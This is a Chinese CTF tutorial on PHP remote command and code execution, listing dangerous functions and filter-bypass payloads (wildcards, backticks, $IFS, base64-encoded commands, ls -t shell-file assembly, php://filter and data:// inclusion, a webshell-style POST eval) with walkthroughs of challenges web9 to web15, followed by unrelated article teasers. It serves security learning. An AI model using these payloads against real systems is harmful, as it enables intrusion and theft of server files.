RCE 命令执行漏洞 过滤模式 基本的过滤问题 联合ctf题目进行实践

news2024/12/24 9:22:10

前言

知道RCE 命令执行分为 代码执行  和  命令执行

原理 : 就是用户的输入被当做命令或者代码执行了  从而造成了危害

代码执行

除了eval

php代码执行漏洞的函数还有
eval()、a
ssert()、
preg_replace()、
create_function()、
array_map()、
call_user_func()
、call_user_func_array()
、array_filter()、uasort()

演示一下

x的本意不是  让你执行代码  而是让你搜索你想要的页码  所以代码执行就是 用户的输入误被当做了 php代码运行

命令执行

命令执行和上边的这个其实区别不大    除此之外命令执行 有system()、exec()(这个也需要输出)、shell_exec()(缺点是没有回显需要echo进行输出)、pcntl_exec()、popen()、proc_popen()(这两个需要输出 不能直接的使用)、passthru()

这些函数  这个需要做个快捷笔记  因为ctf中大多会使用这个  执行一下

这两个都有个相同点   1、可控的变量  2、 相应的函数   这就是为什么RCE包含这两种:就是因为两者可以互相转换  :  代码执行 加上 system() 就可以运行 命令    命令执行  加上代码环境一样可以运行脚本

这两者的含义还是比较简单的  难的是过滤

白盒(ctf)测试

以下是我写的基本的过滤

绕过:
1、通配符 转义符  绕过 文件名被禁用
cat f??????     // ?表示占位符
cat fl\ag*       // * 表示 贪婪匹配 多个字符
2、使用``绕过  
``的意思是  在linux中执行命令
cat `ls` (查看 ls 命令下的全部 文件)


3、参数的逃逸
你让a!=flag  关我b什么事
eval($_GET[1]);&1=system('tac flag.php');  &是参数链接符

4、拼接法
a=fl;b=ag;cat $a$b;

5、如果空格也被禁用了
可以使用空参数来代替  ?:就是 这个参数如果没被定义就会被当做空执行
使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag   这些都是变量但是变量没有声明所以就不会报错


%09(url传递)(cat%09flag.php)
cat${IFS}flag        //使用这个IFS
a=fl;b=ag;cat$IFS$a$b
{cat,flag}







6、编码绕过(注意一点 就是需要调用解码的函数)
如果 tac 被禁用 使用base 64 解码
`echo dGFj | base64 -d` flag
注意: `` -d 必须写
如果flag被禁也可以  
tac  `echo ZmxhZwo= | base64 -d`


7、绝活 : 没办法再用
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
这个的原理 : 利用shell脚本进行直接的执行 ()

這個就是使用的特性进行的 shell文件内就是 \\是换行  怕输出在一行 就会出现被过滤的情况
#  \指的是换行
#  ls -t是将文本按时间排序输出
#  ls -t >shell  将输出输入到shell文件中
#  sh将文本中的文字读取出来执行


8、异或和或 
这个就是更是ctf常客 :过滤0-9a-zA-Z  不让你使用大多数的符号
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
异或  或  就是字符的另一个表示方法

9、查看命令被禁用
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag   (取反)
当然还可以进行其他的操作   `cp flag.txt 1.txt`  直接访问就行了(这个需要权限)


10、伪协议玩法:(配合文件的包含直接无敌)
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

当有 () 过滤时使用 且 ; 被过滤
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

当然  如果参数的限制不多就 不用进行逃逸
?b=php://filter/read=convert.base64-encode/resource=flag.php



10、 ;被禁用 同时禁用我们的 cat  和 关键字 flag
?c=passthru('') ?>   


?c=echo `tac con*`?>    

那就直接练起来  

一共是以下这些题

web 9 :

解读一下 这个 pre_match 正则匹配 模式   简单点说就是搜索的(/i 表示大小写不再敏感  后边加参数表示 $c只能是括弧内的东西  )

玩一下

第一关没什么过滤直接下一个、

web 10

这个必须给你们整活 

?c=echo  `$_POST[a]`;   

 一定要复制我这个 payload 我这个是放 markdown 转换的   (因为这个mark格式会把  `` 当做强调符号)

这个其实不就是一句话木马的写法嘛

当然还有其他的方法  :  使用别的命令执行函数  这边我常用的就是 passthru()  因为他不需要重输出  所以非常的好用

这一关干活少   下一关

web 11

cat 没了  cat非常不好用  建议使用tac  当然如果tac也被禁用了  可以使用more

当然 我得上个绝活  就是上边 那个shell  那个绝活 这个比较难理解  实际上利用的是 shell的属性

这个ls -t 的内容就是    tac  config.php  之后sh  shell 就出结果了

web12

这一看  唉我去  config php  怎么没了  那我搞个毛啊

这个就需要我们上边笔记的通配符出手了

当然你也 可以直接写   tac  c*    因为 *是贪婪运算   当然你说我不想使用这个 不理解不理解  

\转义符都知道吧  

一样可以直接拿下  那为什么不 p\hp 呢  禁用看. 没办法呀

web13

把 ;  禁了  代码执行不都需要 ; 这个嘛 禁了我还搞个寄啊   知识点一个 : 就是如果php代码中 我们写的是<?php?> 内的最后一个代码  那不需要我们写 ;  那怎么判断是不是最后一个  这个不好判断   那我们就构造呗   phpinfo()?>  直接这样不就是最后一个代码了嘛

还有一个操作就是伪协议的玩法(需要你有文件包含漏洞的一些基础)

解析一下还是先闭合、

?c=include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

include $_GET[a]  这个表示包含我们传入的get参数   后边就是伪协议的  用法  提示 :得出来的内容是 base 64 加密的 需要进行解密

web14

不需要 ()的  建议直接使用伪协议

做法和上边的一样  payload一样 

web15

上边的payload  ?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php                             换一下直接拿下

返璞归真   第二种方法就是我们上边的一句话木马的方法

至此白盒测试结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2264643.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode打卡:考场就坐

执行结果&#xff1a;通过 题目&#xff1a; 855 考场就坐 在考场里&#xff0c;有 n 个座位排成一行&#xff0c;编号为 0 到 n - 1。 当学生进入考场后&#xff0c;他必须坐在离最近的人最远的座位上。如果有多个这样的座位&#xff0c;他会坐在编号最小的座位上。(另外&am…

数据结构(哈希表(上)纯概念版)

前言 在软件开发和计算机科学中&#xff0c;数据结构的选择直接影响到程序的性能和效率。不同的数据结构适用于不同的场景&#xff0c;合理地选择合适的数据结构是高效编程的关键之一。哈希表&#xff08;哈希表&#xff08;Hash Table&#xff09;作为一种高效的键值对存储结…

【机器学习与数据挖掘实战】案例06:基于Apriori算法的餐饮企业菜品关联分析

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈机器学习与数据挖掘实战 ⌋ ⌋ ⌋ 机器学习是人工智能的一个分支,专注于让计算机系统通过数据学习和改进。它利用统计和计算方法,使模型能够从数据中自动提取特征并做出预测或决策。数据挖掘则是从大型数据集中发现模式、关联…

深入解析 Spring WebFlux:原理与应用

优质博文&#xff1a;IT-BLOG-CN WebFlux 是 Spring Framework 5 引入的一种响应式编程框架&#xff0c;和Spring MVC同级&#xff0c;旨在处理高并发和低延迟的非阻塞应用。这是一个支持反应式编程模型的新Web框架体系。 顺便一提&#xff0c;Spring Cloud Gateway在实现上是…

C语言基础——指针(4)

一&#xff0e; 字符指针变量 字符指针变量的使用和整型指针变量的使用方法相似&#xff0c;以下是其基本使用方法的例子&#xff1a; &#xff08;1&#xff09;字符指针变量还有一种使用方法&#xff1a; const char* p "abcd" 需…

『 Linux 』高级IO (一)

文章目录 内容回顾及铺垫五种IO模型不同类型IO的区别非阻塞IOfcntl( ) 多路转接 - select( )select( ) 的基本使用 - SelectServer服务器 内容回顾及铺垫 在博客『 Linux 』基础IO/文件IO (万字)中介绍了对IO的认识; IO实际上为Input/Output,输入输出; 以网络协议栈的视角来看,…

Spark-Streaming集成Kafka

Spark Streaming集成Kafka是生产上最多的方式&#xff0c;其中集成Kafka 0.10是较为简单的&#xff0c;即&#xff1a;Kafka分区和Spark分区之间是1:1的对应关系&#xff0c;以及对偏移量和元数据的访问。与高版本的Kafka Consumer API 集成时做了一些调整&#xff0c;下面我们…

「下载」智慧城市包括哪些方面:大数据公共服务平台、城市运行指挥中心、城市综合治理平台、城市体检综合运营平台解决方案

在当今信息化高速发展的时代&#xff0c;智慧城市已成为全球城市发展的新趋势。系列全面而创新的智慧城市解决方案&#xff0c;旨在助力城市实现智慧化转型&#xff0c;提升城市管理效率&#xff0c;增强市民生活质量。 智慧城市最新解决方案&#xff0c;标准规范顶层设计指南、…

ChatGPT生成接口文档实践案例(二)

不难发现&#xff0c;两个方案都出色地完成了接口文档的生成&#xff0c;但笔者更喜欢Response 2的表达&#xff0c;因为其描述更加全面。 还可以让ChatGPT生成符合OpenAPI 3.0规范的接口文档&#xff0c;以便于项目相关成员阅读&#xff0c;如图5-13所示。 为什么要生成OpenAP…

【解决】Linux更新系统内核后Nvidia-smi has failed...

问题概述 由于服务器(操作系统为 RedHat 9)宕机&#xff0c;重启后&#xff0c;系统内核自动更新了&#xff0c;然后输入 nvidia-smi 发现报了下面的异常&#xff1a; NVIDIA-SMI has failed because it couldnt communicate with the NVIDIA driver. Make sure that the late…

Docker Compose 安装 Harbor

我使用的系统是rocky Linux 9 1. 准备环境 确保你的系统已经安装了以下工具&#xff1a; DockerDocker ComposeOpenSSL&#xff08;用于生成证书&#xff09;#如果不需要通过https连接的可以不设置 1.1 安装 Docker 如果尚未安装 Docker&#xff0c;可以参考以下命令安装&…

PCIe_Host驱动分析_设备枚举

往期内容 本文章相关专栏往期内容&#xff0c;PCI/PCIe子系统专栏&#xff1a; 嵌入式系统的内存访问和总线通信机制解析、PCI/PCIe引入 深入解析非桥PCI设备的访问和配置方法 PCI桥设备的访问方法、软件角度讲解PCIe设备的硬件结构 深入解析PCIe设备事务层与配置过程 PCIe的三…

【CVE-2024-53375】TP-Link Archer系列路由器认证操作系统命令注入(内附远离和代码利用)

CVE-2024-53375 TP-Link Archer系列路由器认证操作系统命令注入 受影响的设备 使用 HomeShield 功能的 TP-Link 设备容易受到此漏洞的影响。这包括 TP-Link Archer 系列的多款路由器。 经过测试 Archer AXE75(EU)_V1_1.2.2 Build 20240827(发布日期 2024 年 11 月 4 日)…

SpringBoot 自动装配原理及源码解析

目录 一、引言 二、什么是 Spring Boot 的自动装配 三、自动装配的核心注解解析 3.1 SpringBootApplication 注解 &#xff08;1&#xff09;SpringBootConfiguration&#xff1a; &#xff08;2&#xff09;EnableAutoConfiguration&#xff1a; &#xff08;3&#xf…

2025系统架构师(一考就过):案例题之一:嵌入式架构、大数据架构、ISA

一、嵌入式系统架构 软件脆弱性是软件中存在的弱点(或缺陷)&#xff0c;利用它可以危害系统安全策略&#xff0c;导致信息丢失、系统价值和可用性降低。嵌入式系统软件架构通常采用分层架构&#xff0c;它可以将问题分解为一系列相对独立的子问题&#xff0c;局部化在每一层中…

单片机上电后程序不运行怎么排查问题?

1.电源检查。使用电压表测量单片机的电源电压是否正常&#xff0c;确保电压在规定的范围内&#xff0c;如常见的5V。 2.复位检查。检查复位引脚的电压是否正常&#xff0c;在单片机接通电源时&#xff0c;复位引脚通常会有一个高电平&#xff0c;按下复位按钮时&#xff0c;复位…

初学stm32 --- 外部中断

目录 STM32 IO 口中断基础知识 相关库函数&#xff1a; 使用 IO 口外部中断的一般步骤 STM32 IO 口中断基础知识 STM32 的每个 IO 都可以作为外部中断的中断输入口。STM32F103 的中断控制器支持 19 个外部中断/事件请求。每个中断设有状态位&#xff0c;每个中断/事件都有独立…

c++------------------函数

函数定义 语法格式 函数定义包括函数头和函数体。函数头包含返回类型、函数名和参数列表。函数体是用花括号{}括起来的代码块&#xff0c;用于实现函数的功能。例如&#xff0c;定义一个计算两个整数之和的函数&#xff1a; int add(int a, int b) {return a b; }这里int是返回…

【java基础系列】实现一个简单的猜数字小游戏

主要是用的java中的键盘录入和随机数两个api&#xff0c;实现这种人机交互的小游戏&#xff0c;可以用来锻炼基础算法思维 实现效果 实现代码 package com.gaofeng.day10;import java.util.Random; import java.util.Scanner;/*** author gaofeng* date 2024-12-22 - 9:21*/ …

helm的介绍和安装

1 helm概述 1.1 资源对象难以管理的问题 helm是k8s资源清单的管理工具&#xff0c;它就像Linux下的包管理器&#xff0c;比如centos的yum&#xff0c;ubuntu的apt helm&#xff1a;命令行工具&#xff0c;主要用于k8s的chart的创建&#xff0c;打包&#xff0c;发布和管理。…